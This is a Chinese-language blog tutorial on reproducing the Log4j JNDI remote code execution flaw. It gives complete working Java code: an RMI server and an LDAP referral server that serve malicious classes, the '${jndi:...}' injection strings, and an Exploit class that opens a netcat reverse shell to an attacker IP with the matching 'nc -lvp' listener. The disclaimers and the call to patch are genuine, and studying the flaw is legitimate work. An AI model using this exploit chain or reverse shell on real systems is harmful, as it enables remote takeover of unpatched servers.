漏洞说明:
前端时间 出现这个漏洞,各大公司 安全部都去做相应的防护和修复措施,网上公开漏洞 poc 源码很少,只听到有,但是不知道怎么复现,于是在github 上搜索找了很多的源码,都不能复现。因为不是很懂这个漏洞的攻击原理。然后就静下心来看了好多相关的文章,于是就写了代码来复现这个过程。
郑重说明:请将代码用于本地测试,研究,不要用于非法用途。 第一个Demo:开发工具:
1. Intellij IDEA
下载连接:http:// Download IntelliJ IDEA: The Capable & Ergonomic Java IDE by JetBrains
2. jre-8u91-windows-x64
链接:https://pan.baidu.com/s/1D-uz1LRVDVmu_FGtjSWL_w 提取码:qrnx
jre 说明:我这里直接使用的是jre , 解压 配置环境变量就能用,要比jdk 方便,jdk 就是需要安装,在配置环境变量的,
使用java 远程代码执行框架 rmi 来复现 Log4j 的漏洞;
整个工程是一个java Maven 工程,主要有3个类。
第一步:首先在本地起一个RMIServer 服务,代码如下:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 本地主机上的远程对象注册表Registry的实例,默认端口1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
//返回的Java对象
Reference reference = new Reference("EvilCode","EvilCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把远程对象注册到RMI注册服务器上,并命名为evil
registry.bind("evil",referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
第二步:应该从上面的代码中可以看到用到了反射 ,去反射了一个 EvilCode 类,那我们就创建这个类,其实这个类就是一个恶意的java 类对象,里面执行了打开本地 计算器,代码如下:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class EvilCode {
static {
System.out.println("受害服务器将执行下面命令行");
Process p;
String[] cmd = {"calc"};
try {
p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
第三步:就是创建一个类去执行,可以把这个类当作被攻击机,这个漏洞的原理我就不解释了,现在网上也有很多的文章说明,我就不赘述了。代码如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
//有些高版本jdk需要打开此行代码
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
//模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
String username = "${jndi:rmi://127.0.0.1:1099/evil}";
//正常打印业务日志
logger.error("username:{}",username);
}
}
这样子这个代码就完成了,我们来看看效果,想看调用堆栈的,可以用debug 来运行,在
logger.error("username:{}",username); 这个行下一个断点,F7 进入里面 ,就能看到里面怎么调用,怎么利用的.
源码下载:https://pan.baidu.com/s/1m73eLXOQ7ihZ0RNcpsAv6g 提取码:2sr1 第二个Demo:
开发工具:
1. Intellij IDEA
下载连接:http:// Download IntelliJ IDEA: The Capable & Ergonomic Java IDE by JetBrains
2. phpstudy
Windows版phpstudy下载 - 小皮面板(phpstudy) 下载连接:Windows版phpstudy下载 - 小皮面板(phpstudy)
3. jre-8u91-windows-x64
链接:https://pan.baidu.com/s/1D-uz1LRVDVmu_FGtjSWL_w 提取码:qrnx
说明:第二个demo 对jdk 的版本有要求,需要低于 1.8_121 以下的版本,所以我java 环境里面选用的是 91的版本。
4. netCat 简称nc 用做反弹 shell
链接:https://pan.baidu.com/s/1jUGgeP32g1QoKS16tqL1AA
提取码:988x
不会的玩的自行百度,这里只用到两条命令;
// 攻击机 nc -lvp 6655 // 被攻击机 nc 攻击机ip 6655 -e C:windowssystem32cmd.exe 反弹成功之后,会再攻击上显示被攻击机的磁盘目录
这种要比第一种玩法高级,用 ldap 来实现的, ldap 可以理解为一个数据目录,首先要感谢以下B站的一个作者,这里看不懂的可以去看看B站的视频,也讲了修复方法。
链接:Log4j高危漏洞!“漏洞复现”,全网第一!包含【修复】持续更新~_哔哩哔哩_bilibili
我在博主的代码基础上加了一个 shell 反弹,将代码用两台window 电脑来操作复现漏洞,这里再次强调,不要用于非法用途,请遵守国家网络安全法律法规。
环境搭建: 这里 跳过了 Intellij IDEA 的安装 和 jdk 环境变量的配置,不会的自行百度,这是Java 开发的基础。
攻击机上的操作:首先我们看一下攻击机的代码:创建一个 LDAPRefServer 的服务。
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_base = "dc=example,dc=com";
private static final String EXPLOIT_CLASS_URL = "http://192.20.0.192:80/#Exploit";
public static void main(String[] args) {
int port = 7912;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getbaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
try {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodebase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception er){
System.out.println("========sendResult======="+er.getMessage());
}
}
}
}
这里需要说明的, Exploit.class 这个文件在那台电脑上,就将那台电脑的 ip 填写在如下代码 位置
private static final String EXPLOIT_CLASS_URL = "http://192.20.11.192:80/#Exploit";
再创建一个 Exploit
import java.io.IOException;
public class Exploit {
static {
try {
// Runtime.getRuntime().exec("calc");
Runtime.getRuntime().exec("D:\InstallPackage\netcat-win32-1.12\nc.exe 192.20.0.192 6655 -e c:\windows\system32\cmd.exe ");
} catch (IOException e) {
e.printStackTrace();
}
}
}
这里需要修改的是 当前你自己的 nc 路径,和本机的 ip. , 大家可能对这个ip 不理解,就是 将其另一台电脑的目录反弹给自己。
攻击机的代码完成了,编译生成class. 文件,我们可以把 .class 称为恶意脚本。
我们配置好jdk 环境变量的就可以用cmd 来编译 java 文件了,我们cd 到 Exploit.java 的目录
执行如下命令:就编译生成一个 Exploit.class 文件。
javac Exploit.java
接下来:运行小皮,点击 首页 ,开启一个 http server 的 80端口 的服务。
在打开 网站 点击 管理 ,选在 打开目录, 将上面 生成的 Exploit.class 放在目录里面
再打开一个 cmd 数据 攻击机 的 端口 监听 nc -lvp 6655
受害机上的操作:
代码很简单,就是用Log4 的 error 来输出
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4J {
private static final Logger logger = LogManager.getLogger(Log4J.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://192.20.0.192:7912/test}");
}
}
结果会在我们自己的 电脑上显示受害机的目录:
我们输入 dir 就能查看对方的磁盘目录。
源码下载: 链接:https://pan.baidu.com/s/1J8fAtmWWvpnexXMxJ3Nugg提取码:ahpg 总结:这只是Log4j 这个漏洞的利用的冰山一角,想想都可怕,希望看到的早做修复。



